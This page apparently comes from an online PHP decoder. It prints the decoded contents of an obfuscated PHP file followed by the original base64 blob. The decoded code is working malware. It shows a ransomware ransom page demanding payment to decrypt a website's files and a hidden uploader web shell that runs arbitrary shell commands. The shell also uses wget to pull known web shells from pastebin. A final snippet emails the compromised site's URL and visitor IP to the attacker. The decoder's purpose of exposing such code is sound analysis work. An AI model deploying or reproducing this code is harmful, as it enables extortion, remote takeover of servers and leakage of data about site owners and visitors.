Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval('?>'.base64_decode('PHRpdGxlPlJhbnNvbXdhcmU8L3RpdGxlPgo8IS0tIENyZWF0ZWQgQnkgOiB..

Decoded Output download

?>b'<title>Ransomware</title>
<!-- Created By : Lisa -->
<!-- JapanSec - SkullXploit - OtakuXploiter - OtakuCyberTeam -->
<!--  2019 -->

     <meta charset=\'utf-8\'/>
<meta content=\'IE=edge\' http-equiv=\'X-UA-Compatible\'/>
<meta name="theme-color"content="black">
<meta name="description"content="hacked by ">
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta property="og:image" content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&usqp=CAU">
        
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body { 	 
display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
background-image: url("https://i.pinimg.com/originals/1e/e2/d9/1ee2d95ac0d53cd78fd004984993dfeb.gif");
color:pink;
    height:100%;
    background-position: center;
    background-repeat: no-repeat;
background-size: 100% 100%;
background-attachment:fixed;} 	
btnn{
align-items: center;
    justify-content: center;
    position: relative;
    background: transparent;
    border: 1px solid green;
    letter-spacing: 0px;
    color: red;
    width: 60px;
    height: 25px;
    padding: 0;
    font-size: 15px;
    font-weight: bold;
}
</style>
<font color="pink">
<?php
error_reporting(0);
$input = $_POST[\'pass\'];
$pass = "202cb962ac59075b964b07152d234b70";
if(isset($input)) {
if(md5($input) == $pass) {
function decfile($filename){
	if (strpos($filename, \'.crypt\') === FALSE) {
	return;
	}
	$decrypted = gzinflate(file_get_contents($filename));
	file_put_contents(str_replace(\'.crypt\', \'\', $filename), $decrypted);
	unlink(\'crypt.php\');
	unlink(\'.htaccess\');
	unlink($filename);
	echo "$filename Decrypted !!!<br>";
}

function decdir($dir){
	$files = array_diff(scandir($dir), array(\'.\', \'..\'));
		foreach($files as $file) {
			if(is_dir($dir."/".$file)){
				decdir($dir."/".$file);
			}else {
				decfile($dir."/".$file);
		}
	}
}

decdir($_SERVER[\'DOCUMENT_ROOT\']);
echo "<br>Webroot Decrypted<br>";
unlink($_SERVER[\'PHP_SELF\']);
unlink(\'.htaccess\');
copy(\'htabackup\',\'.htaccess\');
echo \'Success !!!\';
} else {
echo \'Failed Password !!!\';
}
exit();
}
?>
<center>
<h1>Ransomware</h1>
<br><br>
<h3>Your Website Is Encrypted</h3>


Don\'t Change the Filename because it Can Damage the File If You Want to Return You Must Enter the Password First
<br>
Send Me $123 For Back Your Website <br><br>
<br><br>
<form enctype="multipart/form-data" method="post">
<!-- Created By : Lisa -->
<!-- JapanSec - SkullXploit - OtakuXploiter - OtakuCyberTeam -->
<!--  2019 -->

    <br>
<input style="align-items: center;
    justify-content: center;
    position: relative;
    background: transparent;
    border: 1px solid green;
    letter-spacing: 0px;
    color: red;
    width: cover;
    height: 25px;
    padding: 0;
    font-size: 15px;
    font-weight: bold;" type="text" name="pass" placeholder="Password">
<br>
<input style="align-items: center;
    justify-content: center;
    position: relative;
    background: transparent;
    border: 1px solid green;
    letter-spacing: 0px;
    color: red;
    width: 60px;
    height: 25px;
    padding: 0;
    font-size: 15px;
    font-weight: bold;" type="submit" value="Decrypt">
    <br>
       <center>
<!-- Created By : Lisa -->
<!-- JapanSec - SkullXploit - OtakuXploiter - OtakuCyberTeam -->
<!--  2019 -->

<br>
<audio id="myAudio">
            <source src="https://l.top4top.io/m_18184foay0.mp3" type="audio/ogg">
            <source src="https://l.top4top.io/m_18184foay0.mp3" type="audio/mpeg">
        </audio>
        <button onclick="playAudio()" style="align-items: center;
    justify-content: center;
    position: relative;
    background: transparent;
    border: 1px solid green;
    letter-spacing: 0px;
    color: red;
    width: 60px;
    height: 25px;
    padding: 0;
    font-size: 15px;
    font-weight: bold;" type="button">Play</button>       <button onclick="pauseAudio()" style="align-items: center;
    justify-content: center;
    position: relative;
    background: transparent;
    border: 1px solid green;
    letter-spacing: 0px;
    color: red;
    width: 60px;
    height: 25px;
    padding: 0;
    font-size: 15px;
    font-weight: bold;" type="button">Pause</button></center>
        <script>
              var x = document.getElementById("myAudio"); 

              function playAudio() { 
                  x.play(); 
              } 

               function pauseAudio() { 
                  x.pause(); 
              } 
        </script>
</form>
<br>Contact Mail : [email protected]
</font>
<!-- Created By : Lisa -->
<!-- JapanSec - SkullXploit - OtakuXploiter - OtakuCyberTeam -->
<!--  2019 -->
<?php
if(isset($_GET[\'Lisa22\'])){
?>
<html>
<head>
<style type=\'text/css\'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
background-color: black;
color: white;
	font-size: 13px;
}
a{
color:red;
text-decoration: none;
}
textarea{
backgroud-color:#333333;
color: white;
}
table, th, td {
    border-collapse:collapse;
    font-family: Tahoma, Geneva, sans-serif;
    background: transparent;
    font-family: \'Ubuntu\';
    font-size: 13px;
}
select{
border: 1px white solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input[type=submit] {
    background: transparent;
    color: #ffffff;
    height: 24px;
    border: 1px solid #ffffff;
    margin: 5px auto;
    padding-left: 5px;
    font-family: \'Ubuntu\';
    font-size: 13px;
}
</style>
</head>
<center>
<font color=\'blue\' size="8">Lisa Uploader</font>
<body bgcolor="black">
<?php
function w($dir,$perm) {
	if(!is_writable($dir)) {
		return "<font color=red>".$perm."</font>";
	} else {
		return "<font color=green>".$perm."</font>";
	}
}
function exe($cmd) {
	if(function_exists(\'system\')) { 		
		@ob_start(); 		
		@system($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists(\'exec\')) { 		
		@exec($cmd,$results); 		
		$buff = ""; 		
		foreach($results as $result) { 			
			$buff .= $result; 		
		} return $buff; 	
	} elseif(function_exists(\'passthru\')) { 		
		@ob_start(); 		
		@passthru($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists(\'shell_exec\')) { 		
		$buff = @shell_exec($cmd); 		
		return $buff; 	
	} 
}
function sulap($text) {
  if(!get_magic_quotes_gpc()) {
    return $text;
	}
  return stripslashes($text);
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));

return $info;
}
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING)); 
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
echo "<b><font color=\'green\'><br>Server IP : ".gethostbyname($_SERVER[\'HTTP_HOST\'])."</b></font>";
echo "<b><font color=\'green\'><br>".php_uname()."</b></font><br>";
echo "<b><font color=\'green\'>Disable Functions: $show_ds</b></font><br><br>";
echo "&nbsp;<a href=\'?show\' style=\'border:2px solid #0000ff;width:80px;padding:0px 8px 0px 8px;\'>H O M E</a>&nbsp;<a href=\'?c7e=kill\' style=\'border:2px solid #0000ff;width:80px;padding:0px 8px 0px 8px;\'>K I L L </a>&nbsp;<a href=\'?bye=logout\' style=\'color:red;border:2px solid #0000ff;width:80px;padding:0px 8px 0px 8px;\'>L O G O U T</a>";
echo "<form method=\'post\' enctype=\'multipart/form-data\'>
<input type=\'file\' name=\'file\'>
<input type=\'submit\' value=\'upload\' name=\'upload\'>
</form>";
$root = $_SERVER[\'DOCUMENT_ROOT\'];
$files = $_FILES[\'file\'][\'name\'];
$dest = $root.\'/\'.$files;
if(isset($_POST[\'upload\'])) {
	if(is_writable($root)) {
		if(@copy($_FILES[\'file\'][\'tmp_name\'], $dest)) {
			$web = "http://".$_SERVER[\'HTTP_HOST\']."/";
			echo "sukses upload -> <a href=\'$web/$files\' target=\'_blank\'><b><u>$web/$files</u></b></a>";
		} else {
			echo "gagal upload di document root.";
		}
	} else {
		if(@copy($_FILES[\'file\'][\'tmp_name\'], $files)) {
			echo "sukses upload <b>$files</b> di folder ini";
		} else {
			echo "gagal upload";
		}
	}
}
	echo"<table align=center>";
    echo"<td>";
    echo"<form method=\'post\'> ";  
    echo"<select name=\'shell\' style=padding:5px 10px;>";  
    echo"<option selected\'>        Shell Creator       </option>"; 
    echo"<option value=\'wso\'>         WSO Shell       </option>";  
    echo"<option value=\'idx\'>         IDX Shell       </option>"; 
    echo"<option value=\'r57\'>         R57 Shell      </option>";  
    echo"<option value=\'b374k\'>       B374K Shell       </option>";  
    echo"<option value=\'sadrazam\'>         Sadrazam Shell       </option>"; 
    echo"<option value=\'blackhat\'>         BlackHat Shell       </option>";
    echo"<option value=\'noname\'>         Noname Shell       </option>";  
    echo "</select>";
    echo"&nbsp;<input type=\'submit\' class=\'btn btn-success btn-sm\' name=\'enter\' value=\'Submit!\'>";  
 if(isset($_POST[\'enter\']))   {  
 if ($_POST[\'lucknut\'] == \'wso_shell\')  {  
 $exec=exec(\'wget http://pastebin.com/raw.php?i=Tpm5E10g -O wsoshell.php\');
 if(file_exists(\'./wsoshell.php\')){
 echo \'<center><a href=./wsoshell.php target="_blank"> wso.php </a> upload sukses !</center>\';
} else {
echo \'<center>gagal upload !</center>\';
}
}elseif($_POST[\'shell\'] == \'idx\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=nC6pWh5a -O idx.php\');
        if(file_exists(\'./idx.php\')){
            echo \'<center><a href=./idx.php target="_blank"> idx.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'r57\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=S9tzBgg3 -O r57.php\');
        if(file_exists(\'./r57.php\')){
            echo \'<center><a href=./r57.php target="_blank"> r57.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'wso\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=N0eh3Q7Y -O wso.php\');
        if(file_exists(\'./wsp.php\')){
            echo \'<center><a href=./wso.php target="_blank"> wso.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'b374k\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=cR71LiMp -O b374k.php\');
        if(file_exists(\'./b374k.php\')){
            echo \'<center><a href=./b374k.php target="_blank"> b374k.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'sadrazam\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=xjKrnnBD -O sadrazam.php\');
        if(file_exists(\'./sadrazam.php\')){
            echo \'<center><a href=./sadrazam.php target="_blank"> sadrazam.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'blackhat\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=3L2ESWeu -O bh.php\');
        if(file_exists(\'./bh.php\')){
            echo \'<center><a href=./bh.php target="_blank"> bh.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }
}elseif($_POST[\'shell\'] == \'noname\') {
		$exec=exec(\'wget http://pastebin.com/raw.php?i=BRCmf02c -O noname.php\');
        if(file_exists(\'./noname.php\')){
            echo \'<center><a href=./noname.php target="_blank"> noname.php </a> upload sukses !</center>\';
        } else {
            echo \'<center>Failed!</center>\';
        }        
     }
}
}
elseif($_GET[\'bye\'] == \'logout\') {
	

echo \'<form action="?dir=$dir&do=logout" method="post">\';
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); 
    echo \'Good Bye!!\';
}
elseif($_GET[\'c7e\'] == \'kill\') {
	if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
			die(\'<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>\');
		else
			echo \'<center>unlink failed!</center>\';
}
else{
}
?>
</center>
</html>
<?php @ini_set(\'output_buffering\', 0); @ini_set(\'display_errors\', 0); set_time_limit(0); ini_set(\'memory_limit\', \'64M\'); header(\'Content-Type: text/html; charset=UTF-8\'); $tujuanmail = \'[email protected]\'; $x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\']; $pesan_alert = "fix $x_path  

*IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]"; mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]"); ?>'<?php 

Did this file decode correctly?

Original Code

<?php eval('?>'.base64_decode('PHRpdGxlPlJhbnNvbXdhcmU8L3RpdGxlPgo8IS0tIENyZWF0ZWQgQnkgOiBMaXNhIC0tPgo8IS0tIEphcGFuU2VjIC0gU2t1bGxYcGxvaXQgLSBPdGFrdVhwbG9pdGVyIC0gT3Rha3VDeWJlclRlYW0gLS0+CjwhLS0gwqkgMjAxOSAtLT4KCiAgICAgPG1ldGEgY2hhcnNldD0ndXRmLTgnLz4KPG1ldGEgY29udGVudD0nSUU9ZWRnZScgaHR0cC1lcXVpdj0nWC1VQS1Db21wYXRpYmxlJy8+CjxtZXRhIG5hbWU9InRoZW1lLWNvbG9yImNvbnRlbnQ9ImJsYWNrIj4KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iY29udGVudD0iaGFja2VkIGJ5ICI+CjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5yYXdnaXQuY29tL2J1bmdmcmFuZ2tpL2VmZWtzYWxqdS8yYTc4MDVjNy9lZmVrLXNhbGp1LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyIgLz4KICAgICAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9Imh0dHBzOi8vZW5jcnlwdGVkLXRibjAuZ3N0YXRpYy5jb20vaW1hZ2VzP3E9dGJuOkFOZDlHY1RIaUZIc2VYRHozTHdLVUdiZ2lXa0txMEFxcnRrMFg2YTFWdyZ1c3FwPUNBVSI+CiAgICAgICAgCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzQuNy4wL2Nzcy9mb250LWF3ZXNvbWUubWluLmNzcyI+CjxzdHlsZT4KYm9keSB7IAkgCmRpc3BsYXk6IGZsZXg7CiAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICBtaW4taGVpZ2h0OiAxMDB2aDsKYmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwczovL2kucGluaW1nLmNvbS9vcmlnaW5hbHMvMWUvZTIvZDkvMWVlMmQ5NWFjMGQ1M2NkNzhmZDAwNDk4NDk5M2RmZWIuZ2lmIik7CmNvbG9yOnBpbms7CiAgICBoZWlnaHQ6MTAwJTsKICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsKICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7CmJhY2tncm91bmQtc2l6ZTogMTAwJSAxMDAlOwpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7fSAJCmJ0bm57CmFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgYm9yZGVyOiAxcHggc29saWQgZ3JlZW47CiAgICBsZXR0ZXItc3BhY2luZzogMHB4OwogICAgY29sb3I6IHJlZDsKICAgIHdpZHRoOiA2MHB4OwogICAgaGVpZ2h0OiAyNXB4OwogICAgcGFkZGluZzogMDsKICAgIGZvbnQtc2l6ZTogMTVweDsKICAgIGZvbnQtd2VpZ2h0OiBib2xkOwp9Cjwvc3R5bGU+Cjxmb250IGNvbG9yPSJwaW5rIj4KPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwokaW5wdXQgPSAkX1BPU1RbJ3Bhc3MnXTsKJHBhc3MgPSAiMjAyY2I5NjJhYzU5MDc1Yjk2NGIwNzE1MmQyMzRiNzAiOwppZihpc3NldCgkaW5wdXQpKSB7CmlmKG1kNSgkaW5wdXQpID09ICRwYXNzKSB7CmZ1bmN0aW9uIGRlY2ZpbGUoJGZpbGVuYW1lKXsKCWlmIChzdHJwb3MoJGZpbGVuYW1lLCAnLmNyeXB0JykgPT09IEZBTFNFKSB7CglyZXR1cm47Cgl9CgkkZGVjcnlwdGVkID0gZ3ppbmZsYXRlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlbmFtZSkpOwoJZmlsZV9wdXRfY29udGVudHMoc3RyX3JlcGxhY2UoJy5jcnlwdCcsICcnLCAkZmlsZW5hbWUpLCAkZGVjcnlwdGVkKTsKCXVubGluaygnY3J5cHQucGhwJyk7Cgl1bmxpbmsoJy5odGFjY2VzcycpOwoJdW5saW5rKCRmaWxlbmFtZSk7CgllY2hvICIkZmlsZW5hbWUgRGVjcnlwdGVkICEhITxicj4iOwp9CgpmdW5jdGlvbiBkZWNkaXIoJGRpcil7CgkkZmlsZXMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJGRpciksIGFycmF5KCcuJywgJy4uJykpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKSB7CgkJCWlmKGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpewoJCQkJZGVjZGlyKCRkaXIuIi8iLiRmaWxlKTsKCQkJfWVsc2UgewoJCQkJZGVjZmlsZSgkZGlyLiIvIi4kZmlsZSk7CgkJfQoJfQp9CgpkZWNkaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk7CmVjaG8gIjxicj5XZWJyb290IERlY3J5cHRlZDxicj4iOwp1bmxpbmsoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwp1bmxpbmsoJy5odGFjY2VzcycpOwpjb3B5KCdodGFiYWNrdXAnLCcuaHRhY2Nlc3MnKTsKZWNobyAnU3VjY2VzcyAhISEnOwp9IGVsc2UgewplY2hvICdGYWlsZWQgUGFzc3dvcmQgISEhJzsKfQpleGl0KCk7Cn0KPz4KPGNlbnRlcj4KPGgxPlJhbnNvbXdhcmU8L2gxPgo8YnI+PGJyPgo8aDM+WW91ciBXZWJzaXRlIElzIEVuY3J5cHRlZDwvaDM+CgoKRG9uJ3QgQ2hhbmdlIHRoZSBGaWxlbmFtZSBiZWNhdXNlIGl0IENhbiBEYW1hZ2UgdGhlIEZpbGUgSWYgWW91IFdhbnQgdG8gUmV0dXJuIFlvdSBNdXN0IEVudGVyIHRoZSBQYXNzd29yZCBGaXJzdAo8YnI+ClNlbmQgTWUgJDEyMyBGb3IgQmFjayBZb3VyIFdlYnNpdGUgPGJyPjxicj4KPGJyPjxicj4KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij4KPCEtLSBDcmVhdGVkIEJ5IDogTGlzYSAtLT4KPCEtLSBKYXBhblNlYyAtIFNrdWxsWHBsb2l0IC0gT3Rha3VYcGxvaXRlciAtIE90YWt1Q3liZXJUZWFtIC0tPgo8IS0tIMKpIDIwMTkgLS0+CgogICAgPGJyPgo8aW5wdXQgc3R5bGU9ImFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgYm9yZGVyOiAxcHggc29saWQgZ3JlZW47CiAgICBsZXR0ZXItc3BhY2luZzogMHB4OwogICAgY29sb3I6IHJlZDsKICAgIHdpZHRoOiBjb3ZlcjsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9InRleHQiIG5hbWU9InBhc3MiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+Cjxicj4KPGlucHV0IHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOwogICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGJvcmRlcjogMXB4IHNvbGlkIGdyZWVuOwogICAgbGV0dGVyLXNwYWNpbmc6IDBweDsKICAgIGNvbG9yOiByZWQ7CiAgICB3aWR0aDogNjBweDsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRlY3J5cHQiPgogICAgPGJyPgogICAgICAgPGNlbnRlcj4KPCEtLSBDcmVhdGVkIEJ5IDogTGlzYSAtLT4KPCEtLSBKYXBhblNlYyAtIFNrdWxsWHBsb2l0IC0gT3Rha3VYcGxvaXRlciAtIE90YWt1Q3liZXJUZWFtIC0tPgo8IS0tIMKpIDIwMTkgLS0+Cgo8YnI+CjxhdWRpbyBpZD0ibXlBdWRpbyI+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSJodHRwczovL2wudG9wNHRvcC5pby9tXzE4MTg0Zm9heTAubXAzIiB0eXBlPSJhdWRpby9vZ2ciPgogICAgICAgICAgICA8c291cmNlIHNyYz0iaHR0cHM6Ly9sLnRvcDR0b3AuaW8vbV8xODE4NGZvYXkwLm1wMyIgdHlwZT0iYXVkaW8vbXBlZyI+CiAgICAgICAgPC9hdWRpbz4KICAgICAgICA8YnV0dG9uIG9uY2xpY2s9InBsYXlBdWRpbygpIiBzdHlsZT0iYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7CiAgICBib3JkZXI6IDFweCBzb2xpZCBncmVlbjsKICAgIGxldHRlci1zcGFjaW5nOiAwcHg7CiAgICBjb2xvcjogcmVkOwogICAgd2lkdGg6IDYwcHg7CiAgICBoZWlnaHQ6IDI1cHg7CiAgICBwYWRkaW5nOiAwOwogICAgZm9udC1zaXplOiAxNXB4OwogICAgZm9udC13ZWlnaHQ6IGJvbGQ7IiB0eXBlPSJidXR0b24iPlBsYXk8L2J1dHRvbj4gICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJwYXVzZUF1ZGlvKCkiIHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOwogICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGJvcmRlcjogMXB4IHNvbGlkIGdyZWVuOwogICAgbGV0dGVyLXNwYWNpbmc6IDBweDsKICAgIGNvbG9yOiByZWQ7CiAgICB3aWR0aDogNjBweDsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9ImJ1dHRvbiI+UGF1c2U8L2J1dHRvbj48L2NlbnRlcj4KICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgIHZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm15QXVkaW8iKTsgCgogICAgICAgICAgICAgIGZ1bmN0aW9uIHBsYXlBdWRpbygpIHsgCiAgICAgICAgICAgICAgICAgIHgucGxheSgpOyAKICAgICAgICAgICAgICB9IAoKICAgICAgICAgICAgICAgZnVuY3Rpb24gcGF1c2VBdWRpbygpIHsgCiAgICAgICAgICAgICAgICAgIHgucGF1c2UoKTsgCiAgICAgICAgICAgICAgfSAKICAgICAgICA8L3NjcmlwdD4KPC9mb3JtPgo8YnI+Q29udGFjdCBNYWlsIDogMTIzQDEyMy5jb20KPC9mb250Pgo8IS0tIENyZWF0ZWQgQnkgOiBMaXNhIC0tPgo8IS0tIEphcGFuU2VjIC0gU2t1bGxYcGxvaXQgLSBPdGFrdVhwbG9pdGVyIC0gT3Rha3VDeWJlclRlYW0gLS0+CjwhLS0gwqkgMjAxOSAtLT4KPD9waHAKaWYoaXNzZXQoJF9HRVRbJ0xpc2EyMiddKSl7Cj8+CjxodG1sPgo8aGVhZD4KPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4KQGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVVidW50dSk7Cmh0bWwgewpiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsKY29sb3I6IHdoaXRlOwoJZm9udC1zaXplOiAxM3B4Owp9CmF7CmNvbG9yOnJlZDsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CnRleHRhcmVhewpiYWNrZ3JvdWQtY29sb3I6IzMzMzMzMzsKY29sb3I6IHdoaXRlOwp9CnRhYmxlLCB0aCwgdGQgewogICAgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOwogICAgZm9udC1mYW1pbHk6IFRhaG9tYSwgR2VuZXZhLCBzYW5zLXNlcmlmOwogICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7CiAgICBmb250LWZhbWlseTogJ1VidW50dSc7CiAgICBmb250LXNpemU6IDEzcHg7Cn0Kc2VsZWN0ewpib3JkZXI6IDFweCB3aGl0ZSBzb2xpZDsKLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7CmJvcmRlci1yYWRpdXM6NXB4Owp9CmlucHV0W3R5cGU9c3VibWl0XSB7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGNvbG9yOiAjZmZmZmZmOwogICAgaGVpZ2h0OiAyNHB4OwogICAgYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsKICAgIG1hcmdpbjogNXB4IGF1dG87CiAgICBwYWRkaW5nLWxlZnQ6IDVweDsKICAgIGZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsKICAgIGZvbnQtc2l6ZTogMTNweDsKfQo8L3N0eWxlPgo8L2hlYWQ+CjxjZW50ZXI+Cjxmb250IGNvbG9yPSdibHVlJyBzaXplPSI4Ij5MaXNhIFVwbG9hZGVyPC9mb250Pgo8Ym9keSBiZ2NvbG9yPSJibGFjayI+Cjw/cGhwCmZ1bmN0aW9uIHcoJGRpciwkcGVybSkgewoJaWYoIWlzX3dyaXRhYmxlKCRkaXIpKSB7CgkJcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii4kcGVybS4iPC9mb250PiI7Cgl9IGVsc2UgewoJCXJldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kcGVybS4iPC9mb250PiI7Cgl9Cn0KZnVuY3Rpb24gZXhlKCRjbWQpIHsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgCQkKCQlAb2Jfc3RhcnQoKTsgCQkKCQlAc3lzdGVtKCRjbWQpOyAJCQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAJCQoJCUBvYl9lbmRfY2xlYW4oKTsgCQkKCQlyZXR1cm4gJGJ1ZmY7IAkKCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygn